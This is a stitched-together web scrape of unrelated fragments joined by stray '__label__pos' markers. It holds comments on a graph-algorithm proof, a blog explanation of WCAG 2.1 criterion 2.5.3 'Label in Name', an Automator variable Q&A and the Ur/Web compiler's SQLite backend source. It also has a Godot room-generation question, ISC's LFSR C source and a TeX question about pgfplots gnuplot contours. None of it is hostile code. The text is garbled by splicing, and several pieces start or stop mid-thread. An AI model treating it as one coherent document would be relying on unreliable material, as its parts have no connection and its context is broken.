• $\begingroup$ Yes I am working with undirected graph. Actually I understand how the algorithm work (intuitively) but I am not able to find a correct invariant that will help me do the correction. $\endgroup$ Mar 31 '19 at 17:19
• $\begingroup$ @1597846254899, yes, and I am giving you guidance on that will hopefully help you work out a proof of correctness, if you spend some time thinking about it. I suggest you spend some time working through the details in the last paragraph of my answer, and make sure you can answer all of the questions I listed in the last paragraph of my answer. $\endgroup$
– D.W.
Mar 31 '19 at 17:21
Your Answer
By clicking “Post Your Answer”, you agree to our terms of service, privacy policy and cookie policy
Not the answer you're looking for? Browse other questions tagged or ask your own question.
|
__label__pos
| 0.996379 |
2.5.3: label in name-New SC in the WCAG 2.1
Success Criterion 2.5.3 Label in Name (Level A): For user interface components with labels that include text or images of text, the name contains the text that is presented visually.
A best practice is to have the text of the label at the start of the name
Description
There are certain group of people with disabilities, especially who are having learning and physical challenges, use speech recognition software like dragon naturally speaking to access the computers. Let us understand what speech recognition software is all about. Speech recognition software converts speech to text as opposed to the screen readers. Those users of speech recognition software access the computers with the speech input and there are voice commands to perform the regular activities on the computer like opening MS word document, , opening files/folder, sending the email, browsing the web and so on.. now that we understand that how those users of speech recognition software access the computers. On the similar lines, when user is trying to activate the send button by using voice commands after composing the email, for the instance, send button does not get activated in spite of the multiple attempts. The reason could be that, even though there is a visible text as send for the user interface control but the control may not have same text as an accessible name in the accessibility tree rather control has the submit as an accessible name in the accessible tree. As visible name of the control is send and accessible name of the control is submit, speech recognition software never understand and never activate this control when user is trying to activate send button with the speech input. This creates problem and intern it impacts the ability to use the control itself for those users of speech recognition software.
In order to address this problem, WCAG 2.1 introduce this new SC. The intent of this Success Criterion (SC) is to help ensure that people with disabilities who rely on visual labels can also use those labels programmatically. In other words, the accessible name of the control must contain the text that is visible on the control but It does not mean that accessible name of the control need not to be identical with the visible label of the control. In addition, when the accessible name is different from visible label of the control then it is high chance that speech input users may accidently activate the hidden commands. As a result, speech input users get confused and disoriented with the unexpected actions. Text to speech(screen reader) users get best experience when accessible name of the control is matched with the visible name of the control.
Pass scenarios
• Accessible name of the control matches visible label of the control
• the words of the visible label in the accessible name are not scattered and are in the same order as they are in the visible label
References
Leave a Reply
This site uses Akismet to reduce spam. Learn how your comment data is processed.
|
__label__pos
| 0.93509 |
1
I am new to Automator and writing with AppleScript. I wrote a program that collects URLs and stores them as a long, single string.
After the AppleScript portion of the workflow, I want to save the string as a text file, so I added the "New Text File" action from the library. However, I want the input of the "Save as:" field to be a variable.
Do any of you know if this is possible?
enter image description here
1 Answer 1
1
I just found the answer! You just need to drag the variable from the bottom of the screen into the desired text box.
1
• You also should be setting the [√] Ignore this action's input option at the appropriate points. E.g. In the second Ask For Text action and Get Value of Variable action, so there is a disconnect between these actions and the previous action. Nov 29, 2019 at 17:45
You must log in to answer this question.
Not the answer you're looking for? Browse other questions tagged .
|
__label__pos
| 0.817341 |
view src/sqlite.sml @ 2292:23eaec04e0f8
Ran a benchmark!
author Ziv Scully <[email protected]>
date Tue, 17 Nov 2015 04:08:12 -0500
parents 661b531f55bd
children
line wrap: on
line source
(* Copyright (c) 2009-2010, Adam Chlipala
* All rights reserved.
*
* Redistribution and use in source and binary forms, with or without
* modification, are permitted provided that the following conditions are met:
*
* - Redistributions of source code must retain the above copyright notice,
* this list of conditions and the following disclaimer.
* - Redistributions in binary form must reproduce the above copyright notice,
* this list of conditions and the following disclaimer in the documentation
* and/or other materials provided with the distribution.
* - The names of contributors may not be used to endorse or promote products
* derived from this software without specific prior written permission.
*
* THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
* AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
* IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
* ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE
* LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
* CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF
* SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS
* INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN
* CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)
* ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
* POSSIBILITY OF SUCH DAMAGE.
*)
structure SQLite :> SQLITE = struct
open Settings
open Print.PD
open Print
fun p_sql_type t =
case t of
Int => "integer"
| Float => "real"
| String => "text"
| Char => "text"
| Bool => "integer"
| Time => "text"
| Blob => "blob"
| Channel => "integer"
| Client => "integer"
| Nullable t => p_sql_type t
val ident = String.translate (fn #"'" => "PRIME"
| ch => str ch)
fun checkRel (table, checkNullable) (s, xts) =
let
val q = "SELECT COUNT(*) FROM sqlite_master WHERE type = '" ^ table ^ "' AND name = '"
^ s ^ "'"
in
box [string "if (sqlite3_prepare_v2(conn->conn, \"",
string q,
string "\", -1, &stmt, NULL) != SQLITE_OK) {",
newline,
box [string "sqlite3_close(conn->conn);",
newline,
string "uw_error(ctx, FATAL, \"Query preparation failed:<br />",
string q,
string "\");",
newline],
string "}",
newline,
newline,
string "while ((res = sqlite3_step(stmt)) == SQLITE_BUSY)",
newline,
box [string "sleep(1);",
newline],
newline,
string "if (res == SQLITE_DONE) {",
newline,
box [string "sqlite3_finalize(stmt);",
newline,
string "sqlite3_close(conn->conn);",
newline,
string "uw_error(ctx, FATAL, \"No row returned:<br />",
string q,
string "\");",
newline],
string "}",
newline,
newline,
string "if (res != SQLITE_ROW) {",
newline,
box [string "sqlite3_finalize(stmt);",
newline,
string "sqlite3_close(conn->conn);",
newline,
string "uw_error(ctx, FATAL, \"Error getting row:<br />",
string q,
string "\");",
newline],
string "}",
newline,
newline,
string "if (sqlite3_column_count(stmt) != 1) {",
newline,
box [string "sqlite3_finalize(stmt);",
newline,
string "sqlite3_close(conn->conn);",
newline,
string "uw_error(ctx, FATAL, \"Bad column count:<br />",
string q,
string "\");",
newline],
string "}",
newline,
newline,
string "if (sqlite3_column_int(stmt, 0) != 1) {",
newline,
box [string "sqlite3_finalize(stmt);",
newline,
string "sqlite3_close(conn->conn);",
newline,
string "uw_error(ctx, FATAL, \"Table '",
string s,
string "' does not exist.\");",
newline],
string "}",
newline,
newline,
string "sqlite3_finalize(stmt);",
newline]
end
fun init {dbstring, prepared = ss, tables, views, sequences} =
let
val db = ref dbstring
in
app (fn s =>
case String.fields (fn ch => ch = #"=") s of
[name, value] =>
(case name of
"dbname" => db := value
| _ => ())
| _ => ()) (String.tokens Char.isSpace dbstring);
box [string "typedef struct {",
newline,
box [string "sqlite3 *conn;",
newline,
p_list_sepi (box [])
(fn i => fn _ =>
box [string "sqlite3_stmt *p",
string (Int.toString i),
string ";",
newline])
ss],
string "} uw_conn;",
newline,
newline,
string "static void uw_client_init(void) {",
newline,
box [string "uw_sqlfmtInt = \"%lld%n\";",
newline,
string "uw_sqlfmtFloat = \"%.16g%n\";",
newline,
string "uw_Estrings = 0;",
newline,
string "uw_sql_type_annotations = 0;",
newline,
string "uw_sqlsuffixString = \"\";",
newline,
string "uw_sqlsuffixChar = \"\";",
newline,
string "uw_sqlsuffixBlob = \"\";",
newline,
string "uw_sqlfmtUint4 = \"%u%n\";",
newline],
string "}",
newline,
newline,
if #persistent (currentProtocol ()) then
box [string "static void uw_db_validate(uw_context ctx) {",
newline,
string "uw_conn *conn = uw_get_db(ctx);",
newline,
string "sqlite3_stmt *stmt;",
newline,
string "int res;",
newline,
newline,
p_list_sep newline (checkRel ("table", true)) tables,
p_list_sep newline (fn name => checkRel ("table", true)
(name, [("id", Settings.Client)])) sequences,
p_list_sep newline (checkRel ("view", false)) views,
string "}",
newline,
newline,
string "static void uw_db_prepare(uw_context ctx) {",
newline,
string "uw_conn *conn = uw_get_db(ctx);",
newline,
newline,
p_list_sepi newline (fn i => fn (s, _) =>
let
fun uhoh this s args =
box [p_list_sepi (box [])
(fn j => fn () =>
box [string
"sqlite3_finalize(conn->p",
string (Int.toString j),
string ");",
newline])
(List.tabulate (i, fn _ => ())),
box (if this then
[string
"sqlite3_finalize(conn->p",
string (Int.toString i),
string ");",
newline]
else
[]),
string "sqlite3_close(conn->conn);",
newline,
string "uw_error(ctx, FATAL, \"",
string s,
string "\"",
p_list_sep (box []) (fn s => box [string ", ",
string s]) args,
string ");",
newline]
in
box [string "if (sqlite3_prepare_v2(conn->conn, \"",
string (Prim.toCString s),
string "\", -1, &conn->p",
string (Int.toString i),
string ", NULL) != SQLITE_OK) {",
newline,
box [string "char msg[1024];",
newline,
string "strncpy(msg, sqlite3_errmsg(conn->conn), 1024);",
newline,
string "msg[1023] = 0;",
newline,
uhoh false ("Error preparing statement: "
^ Prim.toCString s ^ "<br />%s") ["msg"]],
string "}",
newline]
end)
ss,
string "}"]
else
box [string "static void uw_db_prepare(uw_context ctx) { }",
newline,
string "static void uw_db_validate(uw_context ctx) { }"],
newline,
newline,
string "static void uw_db_init(uw_context ctx) {",
newline,
string "sqlite3 *sqlite;",
newline,
string "sqlite3_stmt *stmt;",
newline,
string "uw_conn *conn;",
newline,
newline,
string "if (sqlite3_open(\"",
string (!db),
string "\", &sqlite) != SQLITE_OK) uw_error(ctx, FATAL, ",
string "\"Can't open SQLite database.\");",
newline,
newline,
string "if (uw_database_max < SIZE_MAX) {",
newline,
box [string "char buf[100];",
newline,
newline,
string "sprintf(buf, \"PRAGMA max_page_count = %llu\", (unsigned long long)(uw_database_max / 1024));",
newline,
newline,
string "if (sqlite3_prepare_v2(sqlite, buf, -1, &stmt, NULL) != SQLITE_OK) {",
newline,
box [string "sqlite3_close(sqlite);",
newline,
string "uw_error(ctx, FATAL, \"Can't prepare max_page_count query for SQLite database\");",
newline],
string "}",
newline,
newline,
string "if (sqlite3_step(stmt) != SQLITE_ROW) {",
newline,
box [string "sqlite3_finalize(stmt);",
newline,
string "sqlite3_close(sqlite);",
newline,
string "uw_error(ctx, FATAL, \"Can't set max_page_count parameter for SQLite database\");",
newline],
string "}",
newline,
newline,
string "sqlite3_finalize(stmt);",
newline],
string "}",
newline,
newline,
string "conn = calloc(1, sizeof(uw_conn));",
newline,
string "conn->conn = sqlite;",
newline,
string "uw_set_db(ctx, conn);",
newline,
string "uw_db_validate(ctx);",
newline,
string "uw_db_prepare(ctx);",
newline,
string "}",
newline,
newline,
string "static void uw_db_close(uw_context ctx) {",
newline,
string "uw_conn *conn = uw_get_db(ctx);",
newline,
p_list_sepi (box [])
(fn i => fn _ =>
box [string "if (conn->p",
string (Int.toString i),
string ") sqlite3_finalize(conn->p",
string (Int.toString i),
string ");",
newline])
ss,
string "sqlite3_close(conn->conn);",
newline,
string "}",
newline,
newline,
string "static int uw_db_begin(uw_context ctx, int could_write) {",
newline,
string "uw_conn *conn = uw_get_db(ctx);",
newline,
newline,
string "if (sqlite3_exec(conn->conn, \"BEGIN\", NULL, NULL, NULL) == SQLITE_OK)",
newline,
box [string "return 0;",
newline],
string "else {",
newline,
box [string "fprintf(stderr, \"Begin error: %s<br />\", sqlite3_errmsg(conn->conn));",
newline,
string "return 1;",
newline],
string "}",
newline,
string "}",
newline,
string "static int uw_db_commit(uw_context ctx) {",
newline,
string "uw_conn *conn = uw_get_db(ctx);",
newline,
string "if (sqlite3_exec(conn->conn, \"COMMIT\", NULL, NULL, NULL) == SQLITE_OK)",
newline,
box [string "return 0;",
newline],
string "else {",
newline,
box [string "fprintf(stderr, \"Commit error: %s<br />\", sqlite3_errmsg(conn->conn));",
newline,
string "return 1;",
newline],
string "}",
newline,
string "}",
newline,
newline,
string "static int uw_db_rollback(uw_context ctx) {",
newline,
string "uw_conn *conn = uw_get_db(ctx);",
newline,
string "if (sqlite3_exec(conn->conn, \"ROLLBACK\", NULL, NULL, NULL) == SQLITE_OK)",
newline,
box [string "return 0;",
newline],
string "else {",
newline,
box [string "fprintf(stderr, \"Rollback error: %s<br />\", sqlite3_errmsg(conn->conn));",
newline,
string "return 1;",
newline],
string "}",
newline,
string "}",
newline,
newline]
end
val fmt = "\"%Y-%m-%d %H:%M:%S\""
fun p_getcol {loc, wontLeakStrings, col = i, typ = t} =
let
fun p_unsql t =
case t of
Int => box [string "sqlite3_column_int64(stmt, ", string (Int.toString i), string ")"]
| Float => box [string "sqlite3_column_double(stmt, ", string (Int.toString i), string ")"]
| String =>
if wontLeakStrings then
box [string "(uw_Basis_string)sqlite3_column_text(stmt, ", string (Int.toString i), string ")"]
else
box [string "uw_strdup(ctx, (uw_Basis_string)sqlite3_column_text(stmt, ", string (Int.toString i), string "))"]
| Char => box [string "sqlite3_column_text(stmt, ", string (Int.toString i), string ")[0]"]
| Bool => box [string "(uw_Basis_bool)sqlite3_column_int(stmt, ", string (Int.toString i), string ")"]
| Time => box [string "uw_Basis_stringToTimef_error(ctx, ",
string fmt,
string ", (uw_Basis_string)sqlite3_column_text(stmt, ",
string (Int.toString i),
string "))"]
| Blob => box [string "({",
newline,
string "char *data = (char *)sqlite3_column_blob(stmt, ",
string (Int.toString i),
string ");",
newline,
string "int len = sqlite3_column_bytes(stmt, ",
string (Int.toString i),
string ");",
newline,
string "uw_Basis_blob b = {len, uw_memdup(ctx, data, len)};",
newline,
string "b;",
newline,
string "})"]
| Channel => box [string "({",
newline,
string "sqlite3_int64 n = sqlite3_column_int64(stmt, ",
string (Int.toString i),
string ");",
newline,
string "uw_Basis_channel ch = {n >> 32, n & 0xFFFFFFFF};",
newline,
string "ch;",
newline,
string "})"]
| Client => box [string "sqlite3_column_int(stmt, ", string (Int.toString i), string ")"]
| Nullable _ => raise Fail "Postgres: Recursive Nullable"
fun getter t =
case t of
Nullable t =>
box [string "(sqlite3_column_type(stmt, ",
string (Int.toString i),
string ") == SQLITE_NULL ? NULL : ",
case t of
String => getter t
| _ => box [string "({",
newline,
string (p_sql_ctype t),
space,
string "*tmp = uw_malloc(ctx, sizeof(",
string (p_sql_ctype t),
string "));",
newline,
string "*tmp = ",
getter t,
string ";",
newline,
string "tmp;",
newline,
string "})"],
string ")"]
| _ =>
box [string "(sqlite3_column_type(stmt, ",
string (Int.toString i),
string ") == SQLITE_NULL ? ",
box [string "({",
string (p_sql_ctype t),
space,
string "tmp;",
newline,
string "uw_error(ctx, FATAL, \"",
string (ErrorMsg.spanToString loc),
string ": Unexpectedly NULL field #",
string (Int.toString i),
string "\");",
newline,
string "tmp;",
newline,
string "})"],
string " : ",
p_unsql t,
string ")"]
in
getter t
end
fun queryCommon {loc, query, cols, doCols} =
box [string "int r;",
newline,
string "sqlite3_reset(stmt);",
newline,
string "uw_end_region(ctx);",
newline,
string "while ((r = sqlite3_step(stmt)) == SQLITE_ROW) {",
newline,
doCols p_getcol,
string "}",
newline,
newline,
string "if (r == SQLITE_BUSY) {",
box [string "sleep(1);",
newline,
string "uw_error(ctx, UNLIMITED_RETRY, \"Database is busy\");",
newline],
string "}",
newline,
newline,
string "if (r != SQLITE_DONE) uw_error(ctx, FATAL, \"",
string (ErrorMsg.spanToString loc),
string ": query step failed: %s<br />%s\", ",
query,
string ", sqlite3_errmsg(conn->conn));",
newline,
newline]
fun query {loc, cols, doCols} =
box [string "uw_conn *conn = uw_get_db(ctx);",
newline,
string "sqlite3_stmt *stmt;",
newline,
newline,
string "if (sqlite3_prepare_v2(conn->conn, query, -1, &stmt, NULL) != SQLITE_OK) uw_error(ctx, FATAL, \"Error preparing statement: %s<br />%s\", sqlite3_errmsg(conn->conn), query);",
newline,
newline,
string "uw_push_cleanup(ctx, (void (*)(void *))sqlite3_finalize, stmt);",
newline,
newline,
queryCommon {loc = loc, cols = cols, doCols = doCols, query = string "query"},
string "uw_pop_cleanup(ctx);",
newline]
val p_pre_inputs =
p_list_sepi (box [])
(fn i => fn t =>
case t of
Char => box [string "char arg",
string (Int.toString (i + 1)),
string "s = {arg",
string (Int.toString (i + 1)),
string ", 0};",
newline]
| _ => box [])
fun p_inputs loc =
p_list_sepi (box [])
(fn i => fn t =>
let
fun bind (t, arg) =
case t of
Int => box [string "sqlite3_bind_int64(stmt, ",
string (Int.toString (i + 1)),
string ", ",
arg,
string ")"]
| Float => box [string "sqlite3_bind_double(stmt, ",
string (Int.toString (i + 1)),
string ", ",
arg,
string ")"]
| String => box [string "sqlite3_bind_text(stmt, ",
string (Int.toString (i + 1)),
string ", ",
arg,
string ", -1, SQLITE_TRANSIENT)"]
| Char => box [string "sqlite3_bind_text(stmt, ",
string (Int.toString (i + 1)),
string ", ",
arg,
string "s, -1, SQLITE_TRANSIENT)"]
| Bool => box [string "sqlite3_bind_int(stmt, ",
string (Int.toString (i + 1)),
string ", ",
arg,
string ")"]
| Time => box [string "sqlite3_bind_text(stmt, ",
string (Int.toString (i + 1)),
string ", uw_Basis_timef(ctx, ",
string fmt,
string ", ",
arg,
string "), -1, SQLITE_TRANSIENT)"]
| Blob => box [string "sqlite3_bind_blob(stmt, ",
string (Int.toString (i + 1)),
string ", ",
arg,
string ".data, ",
arg,
string ".size, SQLITE_TRANSIENT)"]
| Channel => box [string "sqlite3_bind_int64(stmt, ",
string (Int.toString (i + 1)),
string ", ((sqlite3_int64)",
arg,
string ".cli << 32) | ",
arg,
string ".chn)"]
| Client => box [string "sqlite3_bind_int(stmt, ",
string (Int.toString (i + 1)),
string ", ",
arg,
string ")"]
| Nullable t => box [string "(",
arg,
string " == NULL ? sqlite3_bind_null(stmt, ",
string (Int.toString (i + 1)),
string ") : ",
bind (t, case t of
String => arg
| _ => box [string "(*", arg, string ")"]),
string ")"]
in
box [string "if (",
bind (t, box [string "arg", string (Int.toString (i + 1))]),
string " != SQLITE_OK) uw_error(ctx, FATAL, \"",
string (ErrorMsg.spanToString loc),
string ": Error binding parameter #",
string (Int.toString (i + 1)),
string ": %s\", sqlite3_errmsg(conn->conn));",
newline]
end)
fun queryPrepared {loc, id, query, inputs, cols, doCols, nested} =
box [string "uw_conn *conn = uw_get_db(ctx);",
newline,
p_pre_inputs inputs,
if nested then
box [string "sqlite3_stmt *stmt;",
newline]
else
box [string "sqlite3_stmt *stmt = conn->p",
string (Int.toString id),
string ";",
newline,
newline,
string "if (stmt == NULL) {",
newline],
string "if (sqlite3_prepare_v2(conn->conn, \"",
string (Prim.toCString query),
string "\", -1, &stmt, NULL) != SQLITE_OK) uw_error(ctx, FATAL, \"Error preparing statement: ",
string (Prim.toCString query),
string "<br />%s\", sqlite3_errmsg(conn->conn));",
newline,
if nested then
box [string "uw_push_cleanup(ctx, (void (*)(void *))sqlite3_finalize, stmt);",
newline]
else
box [string "conn->p",
string (Int.toString id),
string " = stmt;",
newline,
string "}",
newline,
newline,
string "uw_push_cleanup(ctx, (void (*)(void *))sqlite3_clear_bindings, stmt);",
newline,
string "uw_push_cleanup(ctx, (void (*)(void *))sqlite3_reset, stmt);",
newline],
newline,
p_inputs loc inputs,
newline,
queryCommon {loc = loc, cols = cols, doCols = doCols, query = box [string "\"",
string (Prim.toCString query),
string "\""]},
string "uw_pop_cleanup(ctx);",
newline,
if nested then
box []
else
box [string "uw_pop_cleanup(ctx);",
newline]]
fun dmlCommon {loc, dml, mode} =
box [string "int r;",
newline,
string "if ((r = sqlite3_step(stmt)) == SQLITE_BUSY) {",
box [string "sleep(1);",
newline,
string "uw_error(ctx, UNLIMITED_RETRY, \"Database is busy\");",
newline],
string "}",
newline,
newline,
string "if (r != SQLITE_DONE) ",
case mode of
Settings.Error => box [string "uw_error(ctx, FATAL, \"",
string (ErrorMsg.spanToString loc),
string ": DML step failed: %s<br />%s\", ",
dml,
string ", sqlite3_errmsg(conn->conn));"]
| Settings.None => string "uw_set_error_message(ctx, sqlite3_errmsg(conn->conn));",
newline]
fun dml (loc, mode) =
box [string "uw_conn *conn = uw_get_db(ctx);",
newline,
string "sqlite3_stmt *stmt;",
newline,
newline,
string "if (sqlite3_prepare_v2(conn->conn, dml, -1, &stmt, NULL) != SQLITE_OK) uw_error(ctx, FATAL, \"Error preparing statement: %s<br />%s\", dml, sqlite3_errmsg(conn->conn));",
newline,
newline,
string "uw_push_cleanup(ctx, (void (*)(void *))sqlite3_finalize, stmt);",
newline,
newline,
dmlCommon {loc = loc, dml = string "dml", mode = mode},
string "uw_pop_cleanup(ctx);",
newline]
fun dmlPrepared {loc, id, dml, inputs, mode = mode} =
box [string "uw_conn *conn = uw_get_db(ctx);",
newline,
p_pre_inputs inputs,
string "sqlite3_stmt *stmt = conn->p",
string (Int.toString id),
string ";",
newline,
newline,
string "if (stmt == NULL) {",
newline,
box [string "if (sqlite3_prepare_v2(conn->conn, \"",
string (Prim.toCString dml),
string "\", -1, &stmt, NULL) != SQLITE_OK) uw_error(ctx, FATAL, \"Error preparing statement: ",
string (Prim.toCString dml),
string "<br />%s\", sqlite3_errmsg(conn->conn));",
newline,
string "conn->p",
string (Int.toString id),
string " = stmt;",
newline],
string "}",
newline,
string "uw_push_cleanup(ctx, (void (*)(void *))sqlite3_clear_bindings, stmt);",
newline,
string "uw_push_cleanup(ctx, (void (*)(void *))sqlite3_reset, stmt);",
newline,
p_inputs loc inputs,
newline,
dmlCommon {loc = loc, dml = box [string "\"",
string (Prim.toCString dml),
string "\""], mode = mode},
string "uw_pop_cleanup(ctx);",
newline,
string "uw_pop_cleanup(ctx);",
newline]
fun nextval {loc, seqE, seqName} =
box [string "uw_conn *conn = uw_get_db(ctx);",
newline,
string "char *insert = ",
case seqName of
SOME s => string ("\"INSERT INTO " ^ s ^ " VALUES (NULL)\"")
| NONE => box [string "uw_Basis_strcat(ctx, \"INSERT INTO \", uw_Basis_strcat(ctx, ",
seqE,
string ", \" VALUES ()\"))"],
string ";",
newline,
string "char *delete = ",
case seqName of
SOME s => string ("\"DELETE FROM " ^ s ^ "\"")
| NONE => box [string "uw_Basis_strcat(ctx, \"DELETE FROM \", ",
seqE,
string ")"],
string ";",
newline,
newline,
string "if (sqlite3_exec(conn->conn, insert, NULL, NULL, NULL) != SQLITE_OK) uw_error(ctx, FATAL, \"'nextval' INSERT failed: %s\", sqlite3_errmsg(conn->conn));",
newline,
string "n = sqlite3_last_insert_rowid(conn->conn);",
newline,
string "if (sqlite3_exec(conn->conn, delete, NULL, NULL, NULL) != SQLITE_OK) uw_error(ctx, FATAL, \"'nextval' DELETE failed: %s\", sqlite3_errmsg(conn->conn));",
newline]
fun nextvalPrepared _ = raise Fail "SQLite.nextvalPrepared called"
fun setval _ = raise Fail "SQLite.setval called"
fun sqlifyString s = "'" ^ String.translate (fn #"'" => "''"
| #"\000" => ""
| ch => str ch)
s ^ "'"
fun p_cast (s, _) = s
fun p_blank _ = "?"
val () = addDbms {name = "sqlite",
randomFunction = "RANDOM",
header = Config.sqheader,
link = "-lsqlite3",
init = init,
p_sql_type = p_sql_type,
query = query,
queryPrepared = queryPrepared,
dml = dml,
dmlPrepared = dmlPrepared,
nextval = nextval,
nextvalPrepared = nextvalPrepared,
setval = setval,
sqlifyString = sqlifyString,
p_cast = p_cast,
p_blank = p_blank,
supportsDeleteAs = false,
supportsUpdateAs = false,
createSequence = fn s => "CREATE TABLE " ^ s ^ " (id INTEGER PRIMARY KEY AUTOINCREMENT)",
textKeysNeedLengths = false,
supportsNextval = false,
supportsNestedPrepared = false,
sqlPrefix = "",
supportsOctetLength = false,
trueString = "1",
falseString = "0",
onlyUnion = false,
nestedRelops = false,
windowFunctions = false}
end
|
__label__pos
| 0.999789 |
/* * Copyright (C) 2004, 2005, 2007 Internet Systems Consortium, Inc. ("ISC") * Copyright (C) 1999-2002 Internet Software Consortium. * * Permission to use, copy, modify, and/or distribute this software for any * purpose with or without fee is hereby granted, provided that the above * copyright notice and this permission notice appear in all copies. * * THE SOFTWARE IS PROVIDED "AS IS" AND ISC DISCLAIMS ALL WARRANTIES WITH * REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF MERCHANTABILITY * AND FITNESS. IN NO EVENT SHALL ISC BE LIABLE FOR ANY SPECIAL, DIRECT, * INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES WHATSOEVER RESULTING FROM * LOSS OF USE, DATA OR PROFITS, WHETHER IN AN ACTION OF CONTRACT, NEGLIGENCE * OR OTHER TORTIOUS ACTION, ARISING OUT OF OR IN CONNECTION WITH THE USE OR * PERFORMANCE OF THIS SOFTWARE. */ /* $Id: lfsr.c,v 1.20 2007/06/19 23:47:17 tbox Exp $ */ /*! \file */ #include #include #include #include #include #include #define VALID_LFSR(x) (x != NULL) void isc_lfsr_init(isc_lfsr_t *lfsr, isc_uint32_t state, unsigned int bits, isc_uint32_t tap, unsigned int count, isc_lfsrreseed_t reseed, void *arg) { REQUIRE(VALID_LFSR(lfsr)); REQUIRE(8 <= bits && bits <= 32); REQUIRE(tap != 0); lfsr->state = state; lfsr->bits = bits; lfsr->tap = tap; lfsr->count = count; lfsr->reseed = reseed; lfsr->arg = arg; if (count == 0 && reseed != NULL) reseed(lfsr, arg); if (lfsr->state == 0) lfsr->state = 0xffffffffU >> (32 - lfsr->bits); } /*! * Return the next state of the lfsr. */ static inline isc_uint32_t lfsr_generate(isc_lfsr_t *lfsr) { /* * If the previous state is zero, we must fill it with something * here, or we will begin to generate an extremely predictable output. * * First, give the reseed function a crack at it. If the state is * still 0, set it to all ones. */ if (lfsr->state == 0) { if (lfsr->reseed != NULL) lfsr->reseed(lfsr, lfsr->arg); if (lfsr->state == 0) lfsr->state = 0xffffffffU >> (32 - lfsr->bits); } if (lfsr->state & 0x01) { lfsr->state = (lfsr->state >> 1) ^ lfsr->tap; return (1); } else { lfsr->state >>= 1; return (0); } } void isc_lfsr_generate(isc_lfsr_t *lfsr, void *data, unsigned int count) { unsigned char *p; unsigned int bit; unsigned int byte; REQUIRE(VALID_LFSR(lfsr)); REQUIRE(data != NULL); REQUIRE(count > 0); p = data; byte = count; while (byte--) { *p = 0; for (bit = 0; bit < 7; bit++) { *p |= lfsr_generate(lfsr); *p <<= 1; } *p |= lfsr_generate(lfsr); p++; } if (lfsr->count != 0 && lfsr->reseed != NULL) { if (lfsr->count <= count * 8) lfsr->reseed(lfsr, lfsr->arg); else lfsr->count -= (count * 8); } } static inline isc_uint32_t lfsr_skipgenerate(isc_lfsr_t *lfsr, unsigned int skip) { while (skip--) (void)lfsr_generate(lfsr); (void)lfsr_generate(lfsr); return (lfsr->state); } /* * Skip "skip" states in "lfsr". */ void isc_lfsr_skip(isc_lfsr_t *lfsr, unsigned int skip) { REQUIRE(VALID_LFSR(lfsr)); while (skip--) (void)lfsr_generate(lfsr); } /* * Skip states in lfsr1 and lfsr2 using the other's current state. * Return the final state of lfsr1 ^ lfsr2. */ isc_uint32_t isc_lfsr_generate32(isc_lfsr_t *lfsr1, isc_lfsr_t *lfsr2) { isc_uint32_t state1, state2; isc_uint32_t skip1, skip2; REQUIRE(VALID_LFSR(lfsr1)); REQUIRE(VALID_LFSR(lfsr2)); skip1 = lfsr1->state & 0x01; skip2 = lfsr2->state & 0x01; /* cross-skip. */ state1 = lfsr_skipgenerate(lfsr1, skip2); state2 = lfsr_skipgenerate(lfsr2, skip1); return (state1 ^ state2); }
|
__label__pos
| 0.998691 |
0 votes
I am using the Rect2 type to carve out rooms from my "map" which is just a large array.
I would like to be able to pick out a random wall tile every time I create a new room.
Before the actual spot is selected I have my map generator pick a random direction to go in (up down left or right) and based on this direction i pick a random wall tile to create a door from. For example, if the random direction is "UP" I would pick a random tile from the top wall of the previous room/Rect2 (which is stored in an array called "rooms").
Is there any way to do this using the Rect2 type?
in Engine by (30 points)
Please log in or register to answer this question.
Welcome to Godot Engine Q&A, where you can ask questions and receive answers from other members of the community.
Please make sure to read How to use this Q&A? before posting your first questions.
Social login is currently unavailable. If you've previously logged in with a Facebook or GitHub account, use the I forgot my password link in the login box to set a password for your account. If you still can't access your account, send an email to [email protected] with your username.
|
__label__pos
| 0.509947 |
3
I have some data from some numerical experiments stored in some csv files, which I read into LaTeX using
\pgfplotstableread{Results/test.csv}\data
These data consist of x, y and z coordinates and I now want to plot the level curve for z=1. Several people suggest the usage of gnuplot, e.g. Plotting a level curve, which I have tried to adopt for data points with
\addplot3 [contour gnuplot={levels={1},labels=false,draw color=black}] table[x={x}, y={y}, z={z}]{\data};
which I compile with --shell-escape. This does, however, not work and throw the error
ExponentialSDE.tex (line 497) Package pgfplots Error: Sorry, processing the input stream did not lead to end-of-scanline markers; the generated temporary file for 'contour external' does not contain any of them (indicating that matrix structure is lost).
I read that one typical problem which gives this error is the lack gnuplot (which makes sense). For my case, gnuplot is installed, this is the terminal output when I run gnuplot
>>gnuplot
G N U P L O T
Version 5.2 patchlevel 6 last modified 2019-01-01
Copyright (C) 1986-1993, 1998, 2004, 2007-2018
Thomas Williams, Colin Kelley and many others
gnuplot home: http://www.gnuplot.info
faq, bugs, etc: type "help FAQ"
immediate help: type "help" (plot window: hit 'h')
Do you have any suggestions for what I am doing wrong? and how I can obtain the level curve?
Full MWE
\documentclass[11pt]{article}
\usepackage{pgfplots}
\pgfplotsset{compat=newest}
\usepackage{pgfplotstable}
\pgfplotstableread{
x y z
-1 -1 2
-1 0 1
-1 1 2
0 -1 1
0 0 0
0 1 1
1 -1 2
1 0 1
1 1 2
}{\data}
\begin{document}
%Not working
\begin{tikzpicture}
\begin{axis}[view={0}{90}]
\addplot3 [contour gnuplot={levels={1},labels=false,draw color=black}] table[x={x}, y={y}, z={z}]{\data};
\end{axis}
\end{tikzpicture}
%Test for pgfplotstable is properly read
\begin{tikzpicture}
\begin{axis}[]
\addplot table[x={x}, y={y}]{\data};
